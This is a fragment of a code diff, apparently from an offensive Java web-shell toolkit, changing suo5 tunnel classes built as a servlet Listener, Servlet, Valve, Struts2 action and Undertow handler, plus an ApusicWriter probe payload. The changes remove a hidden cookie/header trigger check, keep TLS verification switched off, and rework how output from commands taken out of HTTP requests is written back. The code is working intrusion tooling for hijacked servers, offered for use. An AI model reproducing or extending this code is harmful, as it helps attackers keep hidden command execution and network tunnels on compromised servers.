boolean valid = isOdd(result[i]) && isOdd(result[j]) && !isOdd(result[p]) && !isOdd(result[q]) && toUInt(result[i]) + toUInt(result[j]) + toUInt(result[p]) + toUInt(result[q]) == sum;
|
|
||||||
return valid ? result : null;
|
|
||||||
}
|
|
||||||
} catch (Exception var8) {
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private boolean isOdd(int i) {
|
|
||||||
return (i & 1) == 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
private int toUInt(byte x) {
|
|
||||||
return x & 255;
|
|
||||||
}
|
|
||||||
|
|
||||||
public static String md5(byte[] content) {
|
|
||||||
MessageDigest md = null;
|
|
||||||
try {
|
|
||||||
md = MessageDigest.getInstance("MD5");
|
|
||||||
} catch (NoSuchAlgorithmException e) {
|
|
||||||
throw new RuntimeException(e);
|
|
||||||
}
|
|
||||||
byte[] md5Bytes = md.digest(content);
|
|
||||||
// no String.format in java1.4
|
|
||||||
StringBuffer sb = new StringBuffer();
|
|
||||||
for (int i = 0; i < md5Bytes.length; i++) {
|
|
||||||
byte b = md5Bytes[i];
|
|
||||||
int value = b & 0xFF;
|
|
||||||
if (value < 16) {
|
|
||||||
sb.append('0');
|
|
||||||
}
|
|
||||||
sb.append(Integer.toHexString(value));
|
|
||||||
}
|
|
||||||
return sb.toString();
|
|
||||||
}
|
|
||||||
|
|
||||||
private ArrayList cookieValues(String cookieValue) {
|
|
||||||
ArrayList values = new ArrayList();
|
|
||||||
String[] cookiePairs = cookieValue.split(";");
|
|
||||||
|
|
||||||
for (int i = 0; i < cookiePairs.length; i++) {
|
|
||||||
String pair = cookiePairs[i];
|
|
||||||
String[] keyValue = pair.split("=", 2);
|
|
||||||
if (keyValue.length >= 2) {
|
|
||||||
values.add(keyValue[1].trim());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return values;
|
|
||||||
}
|
|
||||||
|
|
||||||
public boolean verify(String hostname, SSLSession session) {
|
public boolean verify(String hostname, SSLSession session) {
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|||||||
+5
-104
@@ -173,7 +173,11 @@ public class Suo5v2Listener implements ServletRequestListener, Runnable, Hostnam
|
|||||||
}
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
} finally {
|
} finally {
|
||||||
|
try {
|
||||||
|
OutputStream out = resp.getOutputStream();
|
||||||
|
out.flush();
|
||||||
|
out.close();
|
||||||
|
} catch (Throwable ignored) {}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -999,109 +1003,6 @@ public class Suo5v2Listener implements ServletRequestListener, Runnable, Hostnam
|
|||||||
return new String(randomChars);
|
return new String(randomChars);
|
||||||
}
|
}
|
||||||
|
|
||||||
private int toOffset(byte[] bs) {
|
|
||||||
if (bs == null || bs.length != 4) {
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
try {
|
|
||||||
bs = base64UrlDecode(new String(bs));
|
|
||||||
return ((bs[1] & 0xFF) << 8) | (bs[2] & 0xFF);
|
|
||||||
} catch (Exception e) {
|
|
||||||
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private String getOffset(HttpServletRequest request) {
|
|
||||||
String cookieValue = request.getHeader("Cookie");
|
|
||||||
if (cookieValue != null && cookieValue.length() > 0) {
|
|
||||||
ArrayList cookieVals = cookieValues(cookieValue);
|
|
||||||
for (int i = 0; i < cookieVals.size(); i++) {
|
|
||||||
String val = (String) cookieVals.get(i);
|
|
||||||
if (val.length() >= 12) {
|
|
||||||
if (is_valid(val.substring(val.length() - 8), 430) != null) {
|
|
||||||
return val;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
Enumeration headerNames = request.getHeaderNames();
|
|
||||||
while (headerNames != null && headerNames.hasMoreElements()) {
|
|
||||||
String headerName = (String) headerNames.nextElement();
|
|
||||||
String val = request.getHeader(headerName);
|
|
||||||
if (val.length() >= 12) {
|
|
||||||
if (is_valid(val.substring(val.length() - 8), 430) != null) {
|
|
||||||
return val;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
|
|
||||||
private byte[] is_valid(String data, int sum) {
|
|
||||||
try {
|
|
||||||
byte[] result = base64UrlDecode(data);
|
|
||||||
if (result.length < 6) {
|
|
||||||
return null;
|
|
||||||
} else {
|
|
||||||
int i = result.length - 2;
|
|
||||||
int j = result.length - 3;
|
|
||||||
int p = result.length - 5;
|
|
||||||
int q = result.length - 6;
|
|
||||||
boolean valid = isOdd(result[i]) && isOdd(result[j]) && !isOdd(result[p]) && !isOdd(result[q]) && toUInt(result[i]) + toUInt(result[j]) + toUInt(result[p]) + toUInt(result[q]) == sum;
|
|
||||||
return valid ? result : null;
|
|
||||||
}
|
|
||||||
} catch (Exception var8) {
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private boolean isOdd(int i) {
|
|
||||||
return (i & 1) == 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
private int toUInt(byte x) {
|
|
||||||
return x & 255;
|
|
||||||
}
|
|
||||||
|
|
||||||
public static String md5(byte[] content) {
|
|
||||||
MessageDigest md = null;
|
|
||||||
try {
|
|
||||||
md = MessageDigest.getInstance("MD5");
|
|
||||||
} catch (NoSuchAlgorithmException e) {
|
|
||||||
throw new RuntimeException(e);
|
|
||||||
}
|
|
||||||
byte[] md5Bytes = md.digest(content);
|
|
||||||
// no String.format in java1.4
|
|
||||||
StringBuffer sb = new StringBuffer();
|
|
||||||
for (int i = 0; i < md5Bytes.length; i++) {
|
|
||||||
byte b = md5Bytes[i];
|
|
||||||
int value = b & 0xFF;
|
|
||||||
if (value < 16) {
|
|
||||||
sb.append('0');
|
|
||||||
}
|
|
||||||
sb.append(Integer.toHexString(value));
|
|
||||||
}
|
|
||||||
return sb.toString();
|
|
||||||
}
|
|
||||||
|
|
||||||
private ArrayList cookieValues(String cookieValue) {
|
|
||||||
ArrayList values = new ArrayList();
|
|
||||||
String[] cookiePairs = cookieValue.split(";");
|
|
||||||
|
|
||||||
for (int i = 0; i < cookiePairs.length; i++) {
|
|
||||||
String pair = cookiePairs[i];
|
|
||||||
String[] keyValue = pair.split("=", 2);
|
|
||||||
if (keyValue.length >= 2) {
|
|
||||||
values.add(keyValue[1].trim());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return values;
|
|
||||||
}
|
|
||||||
|
|
||||||
public boolean verify(String hostname, SSLSession session) {
|
public boolean verify(String hostname, SSLSession session) {
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|||||||
+5
-104
@@ -161,7 +161,11 @@ public class Suo5v2Servlet implements Servlet, Runnable, HostnameVerifier, X509T
|
|||||||
}
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
} finally {
|
} finally {
|
||||||
|
try {
|
||||||
|
OutputStream out = resp.getOutputStream();
|
||||||
|
out.flush();
|
||||||
|
out.close();
|
||||||
|
} catch (Throwable ignored) {}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -987,109 +991,6 @@ public class Suo5v2Servlet implements Servlet, Runnable, HostnameVerifier, X509T
|
|||||||
return new String(randomChars);
|
return new String(randomChars);
|
||||||
}
|
}
|
||||||
|
|
||||||
private int toOffset(byte[] bs) {
|
|
||||||
if (bs == null || bs.length != 4) {
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
try {
|
|
||||||
bs = base64UrlDecode(new String(bs));
|
|
||||||
return ((bs[1] & 0xFF) << 8) | (bs[2] & 0xFF);
|
|
||||||
} catch (Exception e) {
|
|
||||||
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private String getOffset(HttpServletRequest request) {
|
|
||||||
String cookieValue = request.getHeader("Cookie");
|
|
||||||
if (cookieValue != null && cookieValue.length() > 0) {
|
|
||||||
ArrayList cookieVals = cookieValues(cookieValue);
|
|
||||||
for (int i = 0; i < cookieVals.size(); i++) {
|
|
||||||
String val = (String) cookieVals.get(i);
|
|
||||||
if (val.length() >= 12) {
|
|
||||||
if (is_valid(val.substring(val.length() - 8), 430) != null) {
|
|
||||||
return val;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
Enumeration headerNames = request.getHeaderNames();
|
|
||||||
while (headerNames != null && headerNames.hasMoreElements()) {
|
|
||||||
String headerName = (String) headerNames.nextElement();
|
|
||||||
String val = request.getHeader(headerName);
|
|
||||||
if (val.length() >= 12) {
|
|
||||||
if (is_valid(val.substring(val.length() - 8), 430) != null) {
|
|
||||||
return val;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
|
|
||||||
private byte[] is_valid(String data, int sum) {
|
|
||||||
try {
|
|
||||||
byte[] result = base64UrlDecode(data);
|
|
||||||
if (result.length < 6) {
|
|
||||||
return null;
|
|
||||||
} else {
|
|
||||||
int i = result.length - 2;
|
|
||||||
int j = result.length - 3;
|
|
||||||
int p = result.length - 5;
|
|
||||||
int q = result.length - 6;
|
|
||||||
boolean valid = isOdd(result[i]) && isOdd(result[j]) && !isOdd(result[p]) && !isOdd(result[q]) && toUInt(result[i]) + toUInt(result[j]) + toUInt(result[p]) + toUInt(result[q]) == sum;
|
|
||||||
return valid ? result : null;
|
|
||||||
}
|
|
||||||
} catch (Exception var8) {
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private boolean isOdd(int i) {
|
|
||||||
return (i & 1) == 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
private int toUInt(byte x) {
|
|
||||||
return x & 255;
|
|
||||||
}
|
|
||||||
|
|
||||||
public static String md5(byte[] content) {
|
|
||||||
MessageDigest md = null;
|
|
||||||
try {
|
|
||||||
md = MessageDigest.getInstance("MD5");
|
|
||||||
} catch (NoSuchAlgorithmException e) {
|
|
||||||
throw new RuntimeException(e);
|
|
||||||
}
|
|
||||||
byte[] md5Bytes = md.digest(content);
|
|
||||||
// no String.format in java1.4
|
|
||||||
StringBuffer sb = new StringBuffer();
|
|
||||||
for (int i = 0; i < md5Bytes.length; i++) {
|
|
||||||
byte b = md5Bytes[i];
|
|
||||||
int value = b & 0xFF;
|
|
||||||
if (value < 16) {
|
|
||||||
sb.append('0');
|
|
||||||
}
|
|
||||||
sb.append(Integer.toHexString(value));
|
|
||||||
}
|
|
||||||
return sb.toString();
|
|
||||||
}
|
|
||||||
|
|
||||||
private ArrayList cookieValues(String cookieValue) {
|
|
||||||
ArrayList values = new ArrayList();
|
|
||||||
String[] cookiePairs = cookieValue.split(";");
|
|
||||||
|
|
||||||
for (int i = 0; i < cookiePairs.length; i++) {
|
|
||||||
String pair = cookiePairs[i];
|
|
||||||
String[] keyValue = pair.split("=", 2);
|
|
||||||
if (keyValue.length >= 2) {
|
|
||||||
values.add(keyValue[1].trim());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return values;
|
|
||||||
}
|
|
||||||
|
|
||||||
public boolean verify(String hostname, SSLSession session) {
|
public boolean verify(String hostname, SSLSession session) {
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|||||||
+5
-104
@@ -164,7 +164,11 @@ public class Suo5v2Struct2Action implements Runnable, HostnameVerifier, X509Trus
|
|||||||
}
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
} finally {
|
} finally {
|
||||||
|
try {
|
||||||
|
OutputStream out = resp.getOutputStream();
|
||||||
|
out.flush();
|
||||||
|
out.close();
|
||||||
|
} catch (Throwable ignored) {}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -990,109 +994,6 @@ public class Suo5v2Struct2Action implements Runnable, HostnameVerifier, X509Trus
|
|||||||
return new String(randomChars);
|
return new String(randomChars);
|
||||||
}
|
}
|
||||||
|
|
||||||
private int toOffset(byte[] bs) {
|
|
||||||
if (bs == null || bs.length != 4) {
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
try {
|
|
||||||
bs = base64UrlDecode(new String(bs));
|
|
||||||
return ((bs[1] & 0xFF) << 8) | (bs[2] & 0xFF);
|
|
||||||
} catch (Exception e) {
|
|
||||||
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private String getOffset(HttpServletRequest request) {
|
|
||||||
String cookieValue = request.getHeader("Cookie");
|
|
||||||
if (cookieValue != null && cookieValue.length() > 0) {
|
|
||||||
ArrayList cookieVals = cookieValues(cookieValue);
|
|
||||||
for (int i = 0; i < cookieVals.size(); i++) {
|
|
||||||
String val = (String) cookieVals.get(i);
|
|
||||||
if (val.length() >= 12) {
|
|
||||||
if (is_valid(val.substring(val.length() - 8), 430) != null) {
|
|
||||||
return val;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
Enumeration headerNames = request.getHeaderNames();
|
|
||||||
while (headerNames != null && headerNames.hasMoreElements()) {
|
|
||||||
String headerName = (String) headerNames.nextElement();
|
|
||||||
String val = request.getHeader(headerName);
|
|
||||||
if (val.length() >= 12) {
|
|
||||||
if (is_valid(val.substring(val.length() - 8), 430) != null) {
|
|
||||||
return val;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
|
|
||||||
private byte[] is_valid(String data, int sum) {
|
|
||||||
try {
|
|
||||||
byte[] result = base64UrlDecode(data);
|
|
||||||
if (result.length < 6) {
|
|
||||||
return null;
|
|
||||||
} else {
|
|
||||||
int i = result.length - 2;
|
|
||||||
int j = result.length - 3;
|
|
||||||
int p = result.length - 5;
|
|
||||||
int q = result.length - 6;
|
|
||||||
boolean valid = isOdd(result[i]) && isOdd(result[j]) && !isOdd(result[p]) && !isOdd(result[q]) && toUInt(result[i]) + toUInt(result[j]) + toUInt(result[p]) + toUInt(result[q]) == sum;
|
|
||||||
return valid ? result : null;
|
|
||||||
}
|
|
||||||
} catch (Exception var8) {
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private boolean isOdd(int i) {
|
|
||||||
return (i & 1) == 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
private int toUInt(byte x) {
|
|
||||||
return x & 255;
|
|
||||||
}
|
|
||||||
|
|
||||||
public static String md5(byte[] content) {
|
|
||||||
MessageDigest md = null;
|
|
||||||
try {
|
|
||||||
md = MessageDigest.getInstance("MD5");
|
|
||||||
} catch (NoSuchAlgorithmException e) {
|
|
||||||
throw new RuntimeException(e);
|
|
||||||
}
|
|
||||||
byte[] md5Bytes = md.digest(content);
|
|
||||||
// no String.format in java1.4
|
|
||||||
StringBuffer sb = new StringBuffer();
|
|
||||||
for (int i = 0; i < md5Bytes.length; i++) {
|
|
||||||
byte b = md5Bytes[i];
|
|
||||||
int value = b & 0xFF;
|
|
||||||
if (value < 16) {
|
|
||||||
sb.append('0');
|
|
||||||
}
|
|
||||||
sb.append(Integer.toHexString(value));
|
|
||||||
}
|
|
||||||
return sb.toString();
|
|
||||||
}
|
|
||||||
|
|
||||||
private ArrayList cookieValues(String cookieValue) {
|
|
||||||
ArrayList values = new ArrayList();
|
|
||||||
String[] cookiePairs = cookieValue.split(";");
|
|
||||||
|
|
||||||
for (int i = 0; i < cookiePairs.length; i++) {
|
|
||||||
String pair = cookiePairs[i];
|
|
||||||
String[] keyValue = pair.split("=", 2);
|
|
||||||
if (keyValue.length >= 2) {
|
|
||||||
values.add(keyValue[1].trim());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return values;
|
|
||||||
}
|
|
||||||
|
|
||||||
public boolean verify(String hostname, SSLSession session) {
|
public boolean verify(String hostname, SSLSession session) {
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|||||||
+5
-104
@@ -164,7 +164,11 @@ public class Suo5v2UndertowServletHandler implements Runnable, HostnameVerifier,
|
|||||||
}
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
} finally {
|
} finally {
|
||||||
|
try {
|
||||||
|
OutputStream out = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
|
||||||
|
out.flush();
|
||||||
|
out.close();
|
||||||
|
} catch (Throwable ignored) {}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -990,109 +994,6 @@ public class Suo5v2UndertowServletHandler implements Runnable, HostnameVerifier,
|
|||||||
return new String(randomChars);
|
return new String(randomChars);
|
||||||
}
|
}
|
||||||
|
|
||||||
private int toOffset(byte[] bs) {
|
|
||||||
if (bs == null || bs.length != 4) {
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
try {
|
|
||||||
bs = base64UrlDecode(new String(bs));
|
|
||||||
return ((bs[1] & 0xFF) << 8) | (bs[2] & 0xFF);
|
|
||||||
} catch (Exception e) {
|
|
||||||
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private String getOffset(HttpServletRequest request) {
|
|
||||||
String cookieValue = request.getHeader("Cookie");
|
|
||||||
if (cookieValue != null && cookieValue.length() > 0) {
|
|
||||||
ArrayList cookieVals = cookieValues(cookieValue);
|
|
||||||
for (int i = 0; i < cookieVals.size(); i++) {
|
|
||||||
String val = (String) cookieVals.get(i);
|
|
||||||
if (val.length() >= 12) {
|
|
||||||
if (is_valid(val.substring(val.length() - 8), 430) != null) {
|
|
||||||
return val;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
Enumeration headerNames = request.getHeaderNames();
|
|
||||||
while (headerNames != null && headerNames.hasMoreElements()) {
|
|
||||||
String headerName = (String) headerNames.nextElement();
|
|
||||||
String val = request.getHeader(headerName);
|
|
||||||
if (val.length() >= 12) {
|
|
||||||
if (is_valid(val.substring(val.length() - 8), 430) != null) {
|
|
||||||
return val;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
|
|
||||||
private byte[] is_valid(String data, int sum) {
|
|
||||||
try {
|
|
||||||
byte[] result = base64UrlDecode(data);
|
|
||||||
if (result.length < 6) {
|
|
||||||
return null;
|
|
||||||
} else {
|
|
||||||
int i = result.length - 2;
|
|
||||||
int j = result.length - 3;
|
|
||||||
int p = result.length - 5;
|
|
||||||
int q = result.length - 6;
|
|
||||||
boolean valid = isOdd(result[i]) && isOdd(result[j]) && !isOdd(result[p]) && !isOdd(result[q]) && toUInt(result[i]) + toUInt(result[j]) + toUInt(result[p]) + toUInt(result[q]) == sum;
|
|
||||||
return valid ? result : null;
|
|
||||||
}
|
|
||||||
} catch (Exception var8) {
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private boolean isOdd(int i) {
|
|
||||||
return (i & 1) == 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
private int toUInt(byte x) {
|
|
||||||
return x & 255;
|
|
||||||
}
|
|
||||||
|
|
||||||
public static String md5(byte[] content) {
|
|
||||||
MessageDigest md = null;
|
|
||||||
try {
|
|
||||||
md = MessageDigest.getInstance("MD5");
|
|
||||||
} catch (NoSuchAlgorithmException e) {
|
|
||||||
throw new RuntimeException(e);
|
|
||||||
}
|
|
||||||
byte[] md5Bytes = md.digest(content);
|
|
||||||
// no String.format in java1.4
|
|
||||||
StringBuffer sb = new StringBuffer();
|
|
||||||
for (int i = 0; i < md5Bytes.length; i++) {
|
|
||||||
byte b = md5Bytes[i];
|
|
||||||
int value = b & 0xFF;
|
|
||||||
if (value < 16) {
|
|
||||||
sb.append('0');
|
|
||||||
}
|
|
||||||
sb.append(Integer.toHexString(value));
|
|
||||||
}
|
|
||||||
return sb.toString();
|
|
||||||
}
|
|
||||||
|
|
||||||
private ArrayList cookieValues(String cookieValue) {
|
|
||||||
ArrayList values = new ArrayList();
|
|
||||||
String[] cookiePairs = cookieValue.split(";");
|
|
||||||
|
|
||||||
for (int i = 0; i < cookiePairs.length; i++) {
|
|
||||||
String pair = cookiePairs[i];
|
|
||||||
String[] keyValue = pair.split("=", 2);
|
|
||||||
if (keyValue.length >= 2) {
|
|
||||||
values.add(keyValue[1].trim());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return values;
|
|
||||||
}
|
|
||||||
|
|
||||||
public boolean verify(String hostname, SSLSession session) {
|
public boolean verify(String hostname, SSLSession session) {
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|||||||
+5
-104
@@ -167,7 +167,11 @@ public class Suo5v2Valve implements Valve, Runnable, HostnameVerifier, X509Trust
|
|||||||
}
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
} finally {
|
} finally {
|
||||||
|
try {
|
||||||
|
OutputStream out = resp.getOutputStream();
|
||||||
|
out.flush();
|
||||||
|
out.close();
|
||||||
|
} catch (Throwable ignored) {}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -993,109 +997,6 @@ public class Suo5v2Valve implements Valve, Runnable, HostnameVerifier, X509Trust
|
|||||||
return new String(randomChars);
|
return new String(randomChars);
|
||||||
}
|
}
|
||||||
|
|
||||||
private int toOffset(byte[] bs) {
|
|
||||||
if (bs == null || bs.length != 4) {
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
try {
|
|
||||||
bs = base64UrlDecode(new String(bs));
|
|
||||||
return ((bs[1] & 0xFF) << 8) | (bs[2] & 0xFF);
|
|
||||||
} catch (Exception e) {
|
|
||||||
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private String getOffset(HttpServletRequest request) {
|
|
||||||
String cookieValue = request.getHeader("Cookie");
|
|
||||||
if (cookieValue != null && cookieValue.length() > 0) {
|
|
||||||
ArrayList cookieVals = cookieValues(cookieValue);
|
|
||||||
for (int i = 0; i < cookieVals.size(); i++) {
|
|
||||||
String val = (String) cookieVals.get(i);
|
|
||||||
if (val.length() >= 12) {
|
|
||||||
if (is_valid(val.substring(val.length() - 8), 430) != null) {
|
|
||||||
return val;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
Enumeration headerNames = request.getHeaderNames();
|
|
||||||
while (headerNames != null && headerNames.hasMoreElements()) {
|
|
||||||
String headerName = (String) headerNames.nextElement();
|
|
||||||
String val = request.getHeader(headerName);
|
|
||||||
if (val.length() >= 12) {
|
|
||||||
if (is_valid(val.substring(val.length() - 8), 430) != null) {
|
|
||||||
return val;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
|
|
||||||
private byte[] is_valid(String data, int sum) {
|
|
||||||
try {
|
|
||||||
byte[] result = base64UrlDecode(data);
|
|
||||||
if (result.length < 6) {
|
|
||||||
return null;
|
|
||||||
} else {
|
|
||||||
int i = result.length - 2;
|
|
||||||
int j = result.length - 3;
|
|
||||||
int p = result.length - 5;
|
|
||||||
int q = result.length - 6;
|
|
||||||
boolean valid = isOdd(result[i]) && isOdd(result[j]) && !isOdd(result[p]) && !isOdd(result[q]) && toUInt(result[i]) + toUInt(result[j]) + toUInt(result[p]) + toUInt(result[q]) == sum;
|
|
||||||
return valid ? result : null;
|
|
||||||
}
|
|
||||||
} catch (Exception var8) {
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private boolean isOdd(int i) {
|
|
||||||
return (i & 1) == 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
private int toUInt(byte x) {
|
|
||||||
return x & 255;
|
|
||||||
}
|
|
||||||
|
|
||||||
public static String md5(byte[] content) {
|
|
||||||
MessageDigest md = null;
|
|
||||||
try {
|
|
||||||
md = MessageDigest.getInstance("MD5");
|
|
||||||
} catch (NoSuchAlgorithmException e) {
|
|
||||||
throw new RuntimeException(e);
|
|
||||||
}
|
|
||||||
byte[] md5Bytes = md.digest(content);
|
|
||||||
// no String.format in java1.4
|
|
||||||
StringBuffer sb = new StringBuffer();
|
|
||||||
for (int i = 0; i < md5Bytes.length; i++) {
|
|
||||||
byte b = md5Bytes[i];
|
|
||||||
int value = b & 0xFF;
|
|
||||||
if (value < 16) {
|
|
||||||
sb.append('0');
|
|
||||||
}
|
|
||||||
sb.append(Integer.toHexString(value));
|
|
||||||
}
|
|
||||||
return sb.toString();
|
|
||||||
}
|
|
||||||
|
|
||||||
private ArrayList cookieValues(String cookieValue) {
|
|
||||||
ArrayList values = new ArrayList();
|
|
||||||
String[] cookiePairs = cookieValue.split(";");
|
|
||||||
|
|
||||||
for (int i = 0; i < cookiePairs.length; i++) {
|
|
||||||
String pair = cookiePairs[i];
|
|
||||||
String[] keyValue = pair.split("=", 2);
|
|
||||||
if (keyValue.length >= 2) {
|
|
||||||
values.add(keyValue[1].trim());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return values;
|
|
||||||
}
|
|
||||||
|
|
||||||
public boolean verify(String hostname, SSLSession session) {
|
public boolean verify(String hostname, SSLSession session) {
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -29,7 +29,7 @@ public class ResponseBodyConfig extends ProbeContentConfig {
|
|||||||
private String base64Bytes;
|
private String base64Bytes;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* 命令执行模板,例如 sh -c "{command}" 2>&1,使用 {command} 作为占位符
|
* 命令执行模板,使用 {command} 作为占位符
|
||||||
*/
|
*/
|
||||||
private String commandTemplate;
|
private String commandTemplate;
|
||||||
|
|
||||||
|
|||||||
@@ -9,7 +9,6 @@ import java.util.Set;
|
|||||||
/**
|
/**
|
||||||
* HTTP 服务类型识别,主要识别 Servlet 容器实现,例如 WildFly 识别为 Undertow,Payara 识别为 GlassFish
|
* HTTP 服务类型识别,主要识别 Servlet 容器实现,例如 WildFly 识别为 Undertow,Payara 识别为 GlassFish
|
||||||
* 很多国产中间件都是基于 GlassFish 改的,都会识别为 GlassFish
|
* 很多国产中间件都是基于 GlassFish 改的,都会识别为 GlassFish
|
||||||
* <br/>
|
|
||||||
* 额外需要注意:
|
* 额外需要注意:
|
||||||
* 1. 不会识别 SpringWebMVC Struct2 这种框架,只识别其提供 HTTP 服务的 Servlet 容器类型
|
* 1. 不会识别 SpringWebMVC Struct2 这种框架,只识别其提供 HTTP 服务的 Servlet 容器类型
|
||||||
* 2. 识别的顺序很重要,部分类型的识别单独拿出来是不准确的,没有测试的情况下,不要以下的 if 判断顺序
|
* 2. 识别的顺序很重要,部分类型的识别单独拿出来是不准确的,没有测试的情况下,不要以下的 if 判断顺序
|
||||||
|
|||||||
+32
-4
@@ -1,5 +1,8 @@
|
|||||||
package com.reajason.javaweb.probe.payload.response;
|
package com.reajason.javaweb.probe.payload.response;
|
||||||
|
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.OutputStream;
|
||||||
|
import java.io.PrintStream;
|
||||||
import java.io.PrintWriter;
|
import java.io.PrintWriter;
|
||||||
import java.lang.reflect.Array;
|
import java.lang.reflect.Array;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
@@ -32,15 +35,25 @@ public class ApusicWriter {
|
|||||||
Object response = getFieldValue(servletInvocation, "response");
|
Object response = getFieldValue(servletInvocation, "response");
|
||||||
String data = getDataFromReq(request);
|
String data = getDataFromReq(request);
|
||||||
if (data != null && !data.isEmpty()) {
|
if (data != null && !data.isEmpty()) {
|
||||||
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
|
String result = "";
|
||||||
try {
|
try {
|
||||||
writer.write(run(data));
|
result = run(data);
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
e.printStackTrace();
|
result = getErrorMessage(e);
|
||||||
e.printStackTrace(writer);
|
|
||||||
}
|
}
|
||||||
|
if (result != null) {
|
||||||
|
try {
|
||||||
|
OutputStream outputStream = (OutputStream) invokeMethod(response, "getOutputStream", null, null);
|
||||||
|
outputStream.write(result.getBytes());
|
||||||
|
outputStream.flush();
|
||||||
|
outputStream.close();
|
||||||
|
} catch (Throwable e) {
|
||||||
|
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
|
||||||
|
writer.write(result);
|
||||||
writer.flush();
|
writer.flush();
|
||||||
writer.close();
|
writer.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -96,4 +109,19 @@ public class ApusicWriter {
|
|||||||
}
|
}
|
||||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getErrorMessage(Throwable throwable) {
|
||||||
|
PrintStream printStream = null;
|
||||||
|
try {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
printStream = new PrintStream(outputStream);
|
||||||
|
throwable.printStackTrace(printStream);
|
||||||
|
return outputStream.toString();
|
||||||
|
} finally {
|
||||||
|
if (printStream != null) {
|
||||||
|
printStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
